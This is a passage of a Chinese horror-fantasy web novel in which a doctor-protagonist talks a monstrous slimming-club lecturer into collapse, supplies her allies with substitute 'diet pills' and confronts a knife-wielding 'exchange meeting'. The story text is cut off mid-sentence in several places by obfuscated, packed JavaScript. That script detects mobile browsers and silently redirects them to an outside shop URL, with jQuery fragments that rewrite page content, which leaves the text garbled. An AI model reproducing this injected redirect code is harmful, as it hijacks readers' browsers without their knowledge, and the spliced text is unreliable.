l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903397|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好是坏,只能暗自数着猛瘦提问的次数,以此判断讲座的时间还剩多久。 终于,在讲座即将结束时,猛瘦问出了最后一个问题:“为了让减肥方法变得更加健康,俱乐部需要做出哪些改进?” 干饭大王闻言错愕地抬起头,目光在猛瘦和雁惊春身上来回巡视,一脸不可置信:猛瘦怎么会问出这种问题,难道它真的被说服了?那如果妙手回春提出要离开俱乐部,猛瘦会不会放她们离开? 另一头,雁惊春却没有因猛瘦的转变而感到意外,反倒有种“叛逆的患者终于肯听医嘱”的欣慰。 她随手翻开《会员手册》,指着其中一条规则道:“那就先从改变观念开始吧,比如这条‘肥胖即是罪孽’。你要知道,即便超重会影响身体健康,也不能将其称之为罪......” 她的话还没说完,原本僵坐不动的三名会员骤然同时转过身,六颗嵌在干瘦面颊上的眼珠死死地盯住了她。 与此同时,她的头顶、脚下和背后都感受到了如有实质的注视,无形的压迫感从四面八方涌来,本能的危机感迫使她及时截断了话头。 看来俱乐部目前还不能接受这个要求。 雁惊春并不觉得气馁,作为医生,她在治病时自然要考虑到患者的情绪。既然这次的患者比较顽固,那她就先从它们能接受的地方开始矫正。 “算了,先不说观念问题了,我们换个角度入手。”话音落下,她周身的压力顿时放松,那三名会员也缓慢地转回了身体。 雁惊春:“那我们就聊聊俱乐部的活动安排吧,我觉得......” 那三名会员又转身盯紧了她,尚未完全褪去的视线也重新凝聚到了她身上。 雁惊春:“......我觉得,暂时还是不要变了。” 这次,环绕她的注视停留了许久,才徐徐减弱。 雁惊春无奈地轻叹口气,这里的患者比她预想的还要固执,想要说服俱乐部做出改变实属不易。 既然如此,她能否在不改变原有规则的基础上,直接插手俱乐部的运行呢? 她回想起猛瘦询问她的第一个问题,脑中突然灵光一闪,快速翻动起《会员手册》。 只见会员手册的第四条写着:“各位会员除食用减肥药外,严禁摄入其它食物。” 这是手册中唯一一次提到“减肥药”这个词,而且并未限定这种减肥药必须是俱乐部创始人研制的。 那么,如果将俱乐部中使用的减肥药全部替换成她制造的,应该也不算违反规则。 想到这里,雁惊春将手伸进口袋:“在之前的问答环节里,我已经清楚地阐释了由俱乐部自行制药会引发多少安全隐患,也表明了我本人在制药领域的专业性。” “所以,为了让俱乐部的运营更加规范,请将专业的事交给专业的人。”她感受着周围若即若离的视线,语气笃定:“从现在开始,就由我来担任瘦身俱乐部减肥药的唯一指定供应商。” 28. 异食俱乐部7 此言一出,全场寂静。 原本一直在窃窃私语的一女一男停止了交谈,干饭大王也屏气凝神,紧张地等待着猛瘦的回应。 而备受瞩目的猛瘦却像是陷入了某种错乱之中,脸上五官乱飞,时而夸张地咧嘴大笑,时而眉头紧锁、怒目圆睁,仿佛有两种截然不同的意志正在争夺这具躯壳的控制权。 就在雁惊春以为它会和之前一样用一句“感谢回答”来结束这次提问时,猛瘦的头颅忽地掉了下去。 它脖颈处薄薄的皮肤终于被颈骨刺穿,森白的骨架代替了它脑袋的位置,无处安放的头颅径直向下坠落,仅凭一片皮肉勉强维持着与躯干的连接,像古时的钟摆一样在它胸口摇晃。 雁惊春身后传来男人的惊呼声,又很快被压抑住。 她没有回头,视线依旧停留在猛瘦左右摇摆的脸上,发现它的面容已经重归平静。 下一刻,猛瘦立体环绕般的声音响起:“注意事项五,会员可在讲座结束后的空白时段内,于二楼礼堂中进食当日需食用的减肥药,该减肥药由会员妙手回春提供。” 话音落下,还不等众人有所反应,连接着它脑袋和身躯的皮肉便不堪重负地倏然断开,猛瘦的脑袋立即砸落在地,摔下讲坛,滚了几圈后静止不动了。 与此同时,雁惊春所感受到的那些似有若无的注视也消散一空。 礼堂内陷入死寂,半晌,所有人的光屏上都弹出了一个提示框:【笔记检查合格,讲座结束。】 在弹框出现后,那三名瘦骨嶙峋的会员同时起身,动作僵硬地朝门外走去。 “居然就这么结束了?”在那三人走出礼堂后,干饭大王才如梦初醒般呢喃出声。 她小心地从座位上起身,上前用脚尖踢了踢猛瘦的脑袋:“好像真的死透了。” “可惜。”雁惊春走到她身边,居高临下地俯视着这只失去活性的蜕:“俱乐部的规矩还真是严格,都不肯给它接受我治疗的机会。还好它及时颁布了新的讲座规则,总算没叫我白费口舌。” “这么说你刚才是故意说那些话的?看来我白担心了,刚才我瞧着你状态不太对,还在想要不要打断你呢,原来那都在你的计划之中呀。”干饭大王竖起大拇指,双眼发亮地盯着雁惊春。 雁惊春朝她笑笑,没有回答这个问题。干饭大王的感觉没错,她现在的精神状态的确不算太好,自我污染虽然令她保有了一定的理智,但脑中残余的嗡鸣声始终挥之不去,时刻驱使着她去做些更符合“医生”身份的事。 她强压下不断冒出的古怪想法,试图通过与人交谈转移注意:“猛瘦的脑袋都掉了,你居然不觉得惊讶?我可是导致它‘死亡’的凶手,难道你不怕我这个‘杀人犯’吗?” “它又不是人。”干饭大王撇嘴,“我好歹也在这里呆了三天,虽然一开始以为这里的工作人员只是法外狂徒,但在经历了一连串诡异事件后,我就猜到了它们很可能压根不是人。” “刚刚它头都掉了还能说话,就证明我的猜想没错。你能干掉这样的怪物,我高兴还来不及呢。”干饭大王停顿片刻,有些脸红:“还有,我想跟你道个歉,之前你说自己是‘业内人士’,我还以为你也是个卖假药的,现在才知道是我误会了。” 说到这里,干饭大王忽然凑近了雁惊春,压低声音:“神医,我感觉你对这种怪物好像还挺熟悉,竟然靠嘴炮就能把它说到头掉,甚至还能让它按你的想法颁发新规则,难道你自称的‘业内人士’,其实是指专门对付这种怪物的人?那我应该叫你什么?怪物猎人?猎魔人?” 雁惊春听着干饭大王给自己取的花名,心道,像她这种以织茧者为食的存在,比起叫“怪物猎人”或“猎魔人”,还是叫“孤独的美食家”更为合适。 然而就在她打算开口说明时,后方骤然插进来一道不和谐的声音:“我劝你还是离她远点,好不容易有了让俱乐部修改规则的机会,她不要求俱乐部放人,反而要当什么减肥药供应商,照我看,她也不是什么好人,恐怕和俱乐部是一伙的,故意演戏给我们看呢!” 雁惊春循声望去,发现说话的是坐在后排那两人中的年轻男性。男人见她望向自己,下意识往身旁的女人背后缩了缩,但很快又像是觉得自己没说错似的,躲在女人身后挺直了脊背。 “小柔!怎么说话呢?”他身旁年长些的女人轻斥一声,转头满脸歉然地对雁惊春道:“抱歉,我们已经有好几位家人被这个俱乐部害了,小柔又是个小男生,就有点控制不住情绪。真的很感谢你帮忙除掉了那个怪物。” 雁惊春只是被精神污染影响了理智,又没有献祭智商,自然明白这个女人之所以留到现在,就是起了投靠她的心思。 而女人之所以在小柔将质疑说完后才出言斥责,恐怕是因为她自己也心存疑虑,这才借着小柔的口问了出来,能得到解释最好,即便得不到解释,也可以用一句“小男人不懂事”草草带过,不至于真的得罪雁惊春。 雁惊春虽然看穿了女人的心思,但并不觉得反感。毕竟不是谁都能像干饭大王一样走运,刚进入茧中就找到之前能力者留下的提醒。女人若是不够谨慎,也没法带着个累赘活到现在。 因此她没有和那个男的一般见识,直接向那位女人解释道:“我能理解你的顾虑。其实我让猛瘦暂时倒戈这件事没有你们想得那么玄乎,只是因为我恰好也学过一点洗脑的话术,所以就想试试能否以其人之道还治其人之身,没想到还真的让它陷入了混乱。” “至于我为什么没有提出对我们更有利的条件,也不是不想,而是不能。你们应该听见我的两次改口了吧?那两次我之所以没能把话说完,是因为我一旦想要修改手册上的规则,就会产生濒死的感觉,喉咙也像被扼住一样说不出话,这才被迫放弃。” “也就是那时候,我意识到了俱乐部现有的规则是不可违背、不可修改的。这不止针对我们人类,那些非人也同样不能违反规则。” “因为服从才是规则存在的基石,但凡有谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918481|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能肆意破坏规则,那么规则的权威性就会大打折扣。” “所以,这些规则在管束我们的同时,也束缚了那些怪物,让它们不能无缘无故地对我们下手,这就给了我钻空子的机会。” “我在手册里选了一条规则进行细化,这没有违反现有规则,因而我没有受到惩罚,猛瘦也成功在它的职权范围内添加了这条规则。” “只是很可惜,它按照我的意愿增添规则的行为似乎触发了某种熔断机制,让俱乐部在它为我们提供更多帮助前就舍弃了它。” 小柔仍有些不服气:“既然它现在已经被舍弃了,那你之前让它增加的规则也没用了呀!” “不,规则应该还是有用的。”这次反驳他却不是雁惊春,而是与他同队的女人:“根据我这几天的观察,那三个被异化的人对规则的感知是最敏锐的,所以我方才格外留意了他们的行动。” “他们这次离开礼堂的时间点不是猛瘦刚刚死亡时,而是光屏上显示了‘笔记检查合格’后,这就说明猛瘦颁布的讲座注意事项没有随着它的死亡而失效。” 小柔显然对女人心怀敬畏,态度立刻变得谦恭:“这么说,我们待会儿是不是可以用她的减肥药,去替换掉三楼那个疯子发的减肥药?” 女人摇头:“恐怕不行。每层楼的工作人员都会发布对应活动的注意事项,这就像是安全区的地方性法规,只在特定区域内生效。猛瘦刚刚也说了,只有在二楼礼堂内才能食用妙手回春提供的减肥药。” “所以如果我们想更换减肥药,就必须赶在去三楼之前,在礼堂内服用新药。”语毕,她将目光投向了雁惊春,语气诚恳:“神医你好,我叫老王,非常感谢你的耐心解答,让我对这里的运行逻辑又多了一点了解。” “另外我还有一个不情之请,不知道你能否透露下准备的减肥药是什么?如果可以的话,我想以俱乐部的情报交换你手中的减肥药。当然,如果你不方便交换,我也绝不会纠缠。” 这个请求在雁惊春的意料之中。她早就注意到了老王话语中刻意展示出的对俱乐部内情的熟稔,也很欣赏她这种积极争取机会的性格,当即答应下来:“当然可以。其实也没什么特别的,只是我随身带的一些营养剂罢了。” 说着她从口袋中掏出几支营养剂:“你们可以先过来看下,这些都是市面上最常见的品牌,只不过有了猛瘦颁布的注意事项,我就可以将它们作为减肥药发放了。” 这话和她之前对众人的解释一样,也是真假参半的。她可以将提前准备好的营养剂作为药品不假,但依靠的却不是猛瘦发布的规则,而是她自己的技能【制药】。 好在其余三人都没有对她的说法产生怀疑,干饭大王更是人如其名地开始关心营养剂的口味:“吃了三天减肥药,我的头都晕了,现在就连看到营养剂都觉得是绝顶美味。” 雁惊春闻言,笑着挑出一支营养剂塞进她手里:“大王,请用,这是你之前在问答环节提到过的糖醋蛋黄鲱鱼口味。” 29. 异食俱乐部8 在先后给干饭大王、老王和小柔各分发了一支替代减肥药的营养剂后,雁惊春背过身,悄悄在《会员手册》的其中一页撕下一角,将它搓成纸团,随后利用【制药】技能将这个小纸团视为减肥药,一口吞了下去。 她当初之所以携带营养剂,就是为了在茧中赠送给尚有理智的幸存者,帮他们恢复体力。至于她自己,服用营养剂只能算浪费,还不如直接用小纸团蒙混过关。 咽下纸团制成的“减肥药”后,她回身望向其余三人,发现他们都已将分到的营养剂喝光,只是表情有些奇怪。 老王面容沉静,小柔愁眉苦脸,干饭大王坐在座位上,正满脸呆滞地拿着空的营养剂瓶,抬起头四十五度仰望天花板。 这是怎么了?为什么大家看起来都怪怪的? 雁惊春狐疑地拍拍干饭大王的肩膀:“大王,你发什么呆呢?我开的药有问题吗?” “我不是在发呆,我是在思考。”干饭大王语调飘忽,“生命的意义是什么?宇宙的尽头在哪里?时间究竟是线性的,还是循环的?” 小柔在一旁插话:“她的意思是,吃完了你开的药,她快看见她太姥了。” 雁惊春:“......意思是很难吃?” 老王不语,只是默默点头。 雁惊春:“......” 复合风味营养剂一向是大品牌才会推出的口味,因此她始终以为营养剂的口味越丰富,味道就会越好。再加上她首次品尝这种营养剂时已经丧失味觉,这种观念就一直持续到了今天。 但是看这三人现在的反应,她之前好像理解错了? 可她记得第一次遇见谢臻时,他就送了几支复合风味的营养剂给她啊。莫非谢臻看着像个老好人,实际上却在偷偷让她清库存? * “酸辣草莓炒折耳根风味......”江烨容低声念着营养剂上的标签,“怎么又是复合风味?” 谢臻仰头饮尽自己那支营养剂,瞥见他痛苦的神情,略带困惑地问:“你这是什么表情?快点喝,别被那些蜕发现了。” “让我喝这种东西,我还不如饿着呢。话说你味觉真的没问题吗?居然喜欢这种口味的营养剂。”江烨容嘟嘟哝哝地抱怨,“就连你做饭也是,看着好看,味道却总是一言难尽。像你这样,以后哪个女人会要你?” “谁让你自己忘记带营养剂的?我都把自己最喜欢的味道分给你了,你还不知足。”谢臻将空瓶销毁,语气冷淡:“而且,每个人口味不同很正常,我也遇见过和我口味一致的......” “又是你在和谐小区遇见的那个女人,对吧?”江烨容撇嘴,“这么些年才遇见那一个不嫌弃你品味的人,你就能拿出来念叨一辈子。要我说,人家只是有风度,不好意思当面吐槽你罢了。” “只是有风度的话,怎么可能一口气喝掉那么多支?更何况我观察过......”谢臻正欲继续反驳,两人的光脑却在此刻同时震动了一下。 他下意识低头查看,发现是momo发来的提示:【根据减脂俱乐部《成员指南》第四、第五条规则推算,本阶段空闲时间即将结束,请及时前往下一场活动地点,以免违反规则,引发茧内惩罚机制。】 “时间快到了,你要是不怕之后行动时没精神,就饿着吧。”谢臻丢下这句话便不再理会江烨容,自顾自抬步往楼上走去。 江烨容盯着手中的营养剂,咬了咬牙,最终还是带着赴死般的决绝扭开了瓶盖,将里面的糊状物倒进嘴里一口吞下。 在处理好空瓶后,他快走两步追上谢臻,小声询问:“你确定要把那枚刀片留在身体里?万一你猜错了,岂不是白遭罪了?momo可没说过下场活动会检查我们的‘用餐’情况。” “你太依赖momo了,偶尔也该自己动动脑子。”谢臻顿住脚步,“既然指南明确规定了我们只能吃俱乐部提供的‘减脂餐’,刚才发餐时又没有监督我们食用,就说明接下来很可能会有相应的检查。” 江烨容摊手:“好吧,如果之后真的有检查,我就现场用我的【收割·倒刺】造一枚刀片出来好了。” 谢臻知道他有办法应付,提醒过后就不再多说,正准备继续上楼,江烨容却再次叫住了他:“还有,谁说我不会自己动脑了?我们入茧前讨论计划的时候,我就说过剪刀可能代表着减脂餐,当时你还不信,现在看见它们发下来的刀片减脂餐,终于知道我说得没错了吧?” 谢臻:“......能跟织茧者的脑回路对上,你也算是天赋异禀了。不过比起这个,我劝你还是先想想待会儿的交流会要怎么应对吧。” 江烨容耸耸肩:“交流会这种活动,不就是利用语言散播精神污染之类的吗?总不能叫我们拿刀互砍吧?” * “你是说,所谓的交流会,其实就是让我们拿刀互砍?”雁惊春听完老王共享的情报,不可置信地再次确认。 “如果我们都吃了俱乐部发的减肥药,还有可能防止和其他会员产生冲突,但这次我们吃的都是你给的药物,恐怕就无法避开互相伤害的局面了。”老王说着挽起袖子,解开缠绕在手臂上的布条,露出了一道尚未拆线的伤口。 “之前每场交流会开始前,三楼那个所谓的‘导师’就会给我们发放减肥药,要求我们吃药后才能进场。” “由于缺席活动会招致更严重的后果——这个我迟点再和你细说,总之两相比较下,我们决定按时参加所有活动,也就不可避免地服用了很多次减肥药。” “每次服药后我就会立刻失去意识,等回过神来交流会都已经结束了,可我却没有任何与交流会相关的记忆,只觉得精神状态每况愈下,幻听幻视越发严重,保持清醒变得更加困难。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933062|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我想搞清楚交流会上到底发生了什么,于是在其中一次交流会前,我让小柔帮我吸引导师的注意,借机藏起了减肥药,没有服用。” “也就是那次,我的手臂上多出了这道伤口,而那三个枯骨一样的会员中,有一人的身上沾上了鲜血。” 听到这里,雁惊春不由蹙眉:“照你这么说,会员在交流会上拿刀互砍只不过是你的猜测,难道你不记得当时的具体状况了吗?” “很遗憾,我确实不记得了。”老王将伤口重新包扎好,“那次交流会结束后,我发现被我藏起的减肥药消失了,我能够完整记起的也只有交流会开始前的事。对于交流会中发生了什么,我残留的记忆只有导师夸张的笑容,和突然向我冲来的、提着刀的会员。” 老王无奈地叹了口气:“我想,我当时应该是意识到自己撑不住了,所以只好在中途翻出自己藏起的减肥药吃下,这才活到了交流会结束。” 干饭大王补充道:“我的手册上有之前的人留下的记录,上面写了,如果没有与工作人员抗衡的能力,就一定要在交流会前服用减肥药。我平时不怎么锻炼,感觉自己打不过它们,所以一直在老实吃药。” “不过,就像老王刚才说的那样,服药的副作用确实明显,吃完药不仅会失去意识、丧失记忆,还会有种脑子里被人强塞了什么东西的感觉,有时候就连言行都不受自己控制了,特别吓人。” 雁惊春若有所思,干饭大王手册上的笔记很可能是之前的能力者留下的,那么“与工作人员抗衡的能力”指的应该就不是单纯的武力值,而是是否觉醒了天赋。 再结合老王的经历,她推测俱乐部的减肥药在加深精神污染的同时,也会为会员提供某种庇护。 如今减肥药的供应者换成了她,精神污染的副作用肯定没有了,只是不知道服药后的庇护效果还能否生效。 不过,听完两人提供的情报后,她产生了一个新的疑问:“既然你们都知道规避服用俱乐部的减肥药会有风险,那为什么还要选择我的减肥药呢?” “唔,怎么说呢,我也不知道为什么,潜意识里就觉得你很可靠。”干饭大王托着下巴歪了歪头,“而且我担心如果再让副作用累积下去,我也会被彻底洗脑,变成一具行尸走肉。” “而你恰好在这个时候出现了,还干掉了猛瘦,我觉得你就是笔记中说的有能力的人,当然要抱紧你的大腿啦。”干饭大王笑容灿烂。 老王点点头:“我也是差不多的理由。我们比大王进来得更早,受到药物副作用的影响也更深,再继续吃药恐怕撑不了多久了,不如趁着自己还有意识放手一搏。” “另外,吃下俱乐部的减肥药,很可能就会受到它们的操控。”老王看向自己受伤的手臂,“我不指望自己一定能够脱困,但在有人发起反抗时,我绝不愿意成为它们的帮凶。” 30. 异食俱乐部9 干饭大王和老王虽然没有觉醒天赋,但都是意志坚定、行动力强的人,她们不需要雁惊春大包大揽,做出什么“一定会带她们出去”的保证,只希望她能带领她们与俱乐部的非人抗衡。 因此雁惊春也没将她们当成纯粹的保护对象,而是以同伴的身份询问了她们各自的特长,又根据对交流会的预测给她们分配了任务。 待众人讨论完毕,这次的空白时段也即将结束。为了确保下场活动能按时签到,四人提前动身,离开了相对安全的礼堂,搭乘电梯前往了三楼。 三楼的交流会会场在左右两侧各有一扇门,门上分别写着“入口”和“出口”。此刻两扇门均门扉紧闭,瞧不见里面的情形,入口处倚着一个衣着浮夸、浓粧艳抹的男子,裸露在外的胸膛、手臂和小腿单薄纤瘦。 看到电梯门打开,男子漫不经心地抬起头,视线在几人之间转了一圈,最终停留在雁惊春身上。 “哟,新会员?”男子勾起红唇,“让我看看......你叫妙手回春?哈,又是这种怪名字,苗苗那废物给你登记的时候一定气疯了吧?” 它撩了一下脑壳上稀疏的头发:“不过,我可不像苗苗那么无能,在我的会场,谁也不能违反我提出的要求。” 雁惊春走上前,看清了印在它胸牌上的“导师-伶伶”字样,试探道:“那你会提出什么要求?” “这个嘛......你现在还不用知道得那么详细,在进入会场前,我对你们的要求只有一个——乖乖吃药。”伶伶从口袋里掏出一把药片,“根据会员手册第四条,各位会员除食用减肥药外,严禁摄入其它食物。” “食用违规食品会受到处罚,乖乖吃减肥药则会得到奖励。”伶伶从药片中挑拣出一颗,递给雁惊春。 雁惊春顺势接过,将药片放在掌心端详。从外表看来,这只是一粒普通的白色圆形药片。 她随口问道:“手册里只规定了不能吃减肥药以外的东西,但没说过必须服用减肥药吧?” 伶伶“呵呵”笑了两声:“你大可以试试,反正你最后还是要吃药的。” 说着它意味深长地望向老王:“正如我之前说的,没有人能违反我提出的要求。” “是吗?”雁惊春将药片放进口袋,“那我拭目以待。” 伶伶不怒反笑:“好啊,我最喜欢你这种给我找乐子的硬骨头了,进去吧,我很期待你在交流会上的表现。” 雁惊春在它嘲讽的目光中走向入口,入口处的感应门随之开启,又在她进门后迅速关闭。 映入眼帘的是一个封闭的狭小空间,尽头处又是一扇合拢的感应门。在通往那扇门的必经之路上,伫立着一台形似安检门的机器。 既然避无可避,她索性不去纠结那台机器的作用,径直向前走去。 在穿过那道“安检门”的刹那,感应门的前方倏然浮现出一面光屏: 【会员-妙手回春签到成功!】 【违规食物摄入情况:未摄入】 【减肥药服用情况:已服用】 原来这台机器是用来检测会员饮食状况的,还好她的能力顺利发挥了作用。 就在雁惊春思考这种情况能否获得伶伶所说的“吃药奖励”时,她的耳朵忽然敏锐地捕捉到了头顶传来的轻微机括声。 来不及多想,她立刻足尖蹬地,疾步向后退去。 一道寒光擦着她的面颊坠落,“铛啷”一声砸在了地上。 她抬头望去,正好看见斜上方的天花板被掀开了一块,露出漆黑的洞口,显然刚才的东西就是从那里掉下来的。在她的注视下,机括再次转动,被掀起的天花板缓缓合拢。 雁惊春这才将视线投向坠落的物品,发现那竟是她的“老战友”——斩骨刀。 莫非这就是服用减肥药的奖励? 想到老王手臂上的刀伤,她猜测这就是俱乐部提供的“交流”道具。 她上前将斩骨刀拾起,却没急着穿过下一扇门进入会场,打算留在原地提醒后面三人小心刀具掉落。 就在这时,与外界相接的感应门再度开启,进来的却不是她的同伴,而是伶伶打扮得花枝招展的脑袋。 在看到她后,伶伶立刻翻了个白眼:“你怎么还堵在那里?赶紧进去,不然下一个人不能入场。” 雁惊春没料到还有这种规定,只好用斩骨刀割下一片衣料,放在掉落刀具前的地面上作为提醒,随后转身走向会场。 在她身后,忽然传来伶伶惊疑不定的声音:“等等,你拿的是什么?你明明没吃药,怎么会......” 雁惊春没等它把话说完,便头也不回地进入了下一扇门。 门后是一间和二楼礼堂差不多大的场馆,场馆内极为空旷,没有布置任何家具,和毛坯房唯一的区别就是地面上铺了许多大小不一的彩色方形地板。 这些地板从入口处开始延伸,一块接一块的在地面上铺成了蛇形,尽头便是场馆的出口,看起来有点像飞行棋或冒险棋的棋盘。 现在被她踩在脚下的,就是第一块、也是最大的一块地板,那三名形销骨立的会员也在这里,正与她站在同一块地板上,每个人手中都提着一把砍刀。 她试着向这块地板之外走去,却在走到边缘时撞上了一层无形的壁障,再也无法前进半步。 看来要等到交流会正式开始后,才能按照指定的路线继续前进。 她只得暂时放弃,转而凑到那三名会员跟前。只见他们双眼空洞、身形僵直,对她的话语和动作毫无反应,仿佛变成了一枚枚任人摆布的棋子。 她尝试用自己的精神污染覆盖掉俱乐部对他们的影响,然而他们依然表现得无动于衷。就在她无奈地垂下眼时,恰好瞥见了其中一人的胸牌,顿时怔住。 只见那枚胸牌上,只印了“会员”二字,姓名处却是一片空白。 这是什么意思?是他已经完全被织茧者蚀空了精神,所以失去了自己的名字吗?还是说这其实也是一只蜕,只是被织茧者伪装成了会员的样子,好用来迷惑和动摇人类? 她连忙看向其余两人,发现他们的胸牌上也只有“会员”二字,没有姓名。 雁惊春无法确认他们的真实身份,但有一点是毋庸置疑的——在交流会开始后,他们一定会站在伶伶那一边,成为对付她的帮凶。 难怪破茧组织的情报中对于如何处置其他会员有两种截然不同的态度,如今来看,这个茧中的威胁不仅来自于工作人员,还可能来自某些会员。 雁惊春虽然愿意在力所能及的范围内救援其他无辜的受害者,但对于威胁到她性命的人从不会心慈手软。更何况她还有三位理智尚存、亟需拯救的同伴,她不能为了赌这三个无名会员是否有救,就将自己的同伴置于危险之中。 她的目光一一扫过这三张瘦到脱相的面容。她现在能做的,就只有记住他们的长相以便破茧后确认身份,以及—— 杀了他们。 * 会场外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938202|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 小柔紧紧攥着从伶伶那里拿来的减肥药,清秀的脸上表情狰狞:“我不信,我就是不信!你们讨论的时候也没问过我的意见,现在凭什么叫我相信她!” 老王冷静地陈述事实:“我们讨论的时候是自由发言,没有人制止你发表意见,你当时不说话,只是因为跟不上我们的思路,又好面子不想说自己听不懂,不是吗?” 小柔被她毫不留情地揭穿,面色顿时涨红:“你、你既然心里清楚,为什么不主动问我?我们才是一个家族的,你不应该对我多点关注吗!” 他开始翻旧账:“之前也是,要不是你带我们来俱乐部找小静,我怎么会被卷进这个鬼地方,小叔他们又怎么会死?都怪你!都是你的错!” “来找小静是大家共同决定的,当时谁也不知道这里的古怪。”老王沉下脸,“还有,你别忘了,我们原定寻找小静的队伍里根本没有你,是你自己想看他的笑话,才悄悄跟来的!” “那你为什么没有赶我走!”小柔大喊。 干饭大王被吵得头疼:“冷静,冷静。交流会马上就要开始了,现在不是争执的时候,一切等到交流会结束后再说好不好?” 老王做了个深呼吸,压下心头涌起的火气:“你说得对,是我们浪费时间了,很抱歉。赶快进去吧,神医还在里面等着。” “哈,我浪费时间?”小柔冷笑一声,神情怨毒:“你宁愿和刚认识的陌生人一伙,都不愿意多考虑一下我的感受,是吧?好啊,那看来我也要给自己找个靠山才行了!” 老王顿觉不妙,立刻上前想要拉住小柔。 小柔却先一步扭转身子,躲到了伶伶身后,语速飞快地告密:“刚进去的那个妙手回春不知怎么说服了猛瘦,让猛瘦指定她做了二楼的减肥药供应商。她在这次的空白时段给我们都吃了看起来很像营养剂的减肥药,还和她们两个一起制定了对付你的计划!” “小柔!”老王又惊又怒,“我一直护着你,现在只是稍不顺你心意,你就要跟我反目成仇,去投靠一个怪物?” “怪物?我可不是怪物,我是伶伶。”伶伶笑着伸出细长的手掌,搭上了小柔的肩膀,“我刚刚还觉得奇怪,妙手回春没有吃我的减肥药,怎么还会得到服药奖励,原来是这样呀。” 它将头伸到小柔面前,冲他眨眨眼:“恭喜你做出了正确的选择,现在,吃掉我给你的减肥药吧,你会像之前一样,平安地度过这次交流会的。” 小柔畏惧地看了一眼伶伶,又望向不远处满脸怒容的老王,最终还是赌气般地将药片放进嘴里,吞了下去。 紧接着,他的双眼失去了焦距,面无表情地迈开脚步,走向了入口。 老王和干饭大王慢了他一步,只能眼睁睁看着感应门在面前闭合。等到感应门再度开启后,她们立刻一前一后地冲了进去。 这次伶伶没有要求她们一次只能进一个人,而是在她们完成签到后才慢悠悠地走了进去,抱臂看着被第二扇感应门阻拦在会场之外的两人。 “你们不觉得新会员来了之后,场地就显得太拥挤了吗?”它闲适地欣赏着自己的美甲,“所以这次便宜你们了,不用你们进入会场,签完到就算你们参加了活动,怎么样,是不是很惊喜?” “该死。”老王咬紧牙关,低声道:“神医还不知道小柔背叛的事,也不知道她要独自对付四个受伶伶操控的傀儡,恐怕......” 她没有继续说下去,只是握紧了自己受伤的手臂。 31. 异食俱乐部10 会场内,雁惊春已经解决了那三个无名会员——事实上,她根本没来得及出手伤人,只是取下了那三人佩戴的胸牌。 就在她拿走胸牌的下一瞬,原本直挺挺立在原地的会员体内传出“喀拉喀拉”的骨骼碰撞声,紧接着全身的骨骼骤然崩解,带着黏连的皮肉一起稀里哗啦的砸落在地。 雁惊春惊讶地拨动了几下那团被一层皮肉包裹住的骨头,意外发觉他们体内的脏器已不知所踪。 看来她的选择没错,他们三个本就不算活人了。 她将原本属于他们的三枚无名胸牌收入衣服内袋,思索着待会儿该如何向同伴解释眼前的情况。 身后的大门恰好在此时开启,规律的脚步声由远及近,逐渐贴近了她的后背。 她循声转身,发现来人是握着一把水果刀的小柔,正想和他打个招呼,小柔却目不斜视地与她擦肩而过,径直走到了第一块地板的最前端。 雁惊春顿了顿,回头望向小柔驻足的位置。 他恰巧踩在了一摊骨堆上。 小柔之前一直对她不假辞色,不愿意理她也可以理解。但是,像这样淡定地踩在其他会员的尸骨上就相当反常了。 雁惊春不动声色地拍了拍他的肩膀:“小柔,你不觉得硌脚吗?” 见小柔对她的话毫无反应,雁惊春心中不详的预感愈发强烈,她上前两步,打算看清他现在的状态,会场却在此刻蓦地陷入了黑暗。 紧接着,她脚下的地板亮起幽绿色的光芒,犹如腾起的鬼火般映亮了整个空间。 伶伶突兀地出现在了她与小柔之间,绿光自下而上地照在它脸上,更衬得它阴气森森。 它瞥了眼散落在地板上的三堆尸骨,浮夸地掩了掩唇:“天哪,你可真坏,居然把他们的胸牌都给抢走了。” 雁惊春没有理它,环顾四周找寻起干饭大王和老王的身影。 “你是在找你的同伴吗?她们不要你啦。”伶伶艳丽的红唇向两边扯开,“她们不相信你制造出的冒牌货,所以不敢进来,主动弃权了。” 雁惊春收回视线,面无表情地与它对视。按照伶伶话中的意思,它明显已经知道了她在减肥药上做的手脚,恐怕也猜到了她拥有天赋。 她并不相信它所说的“弃权”,倘若大王和老王真的不信任她,直接服下伶伶的减肥药即可,何必采取缺席这种风险更高的行动方式? 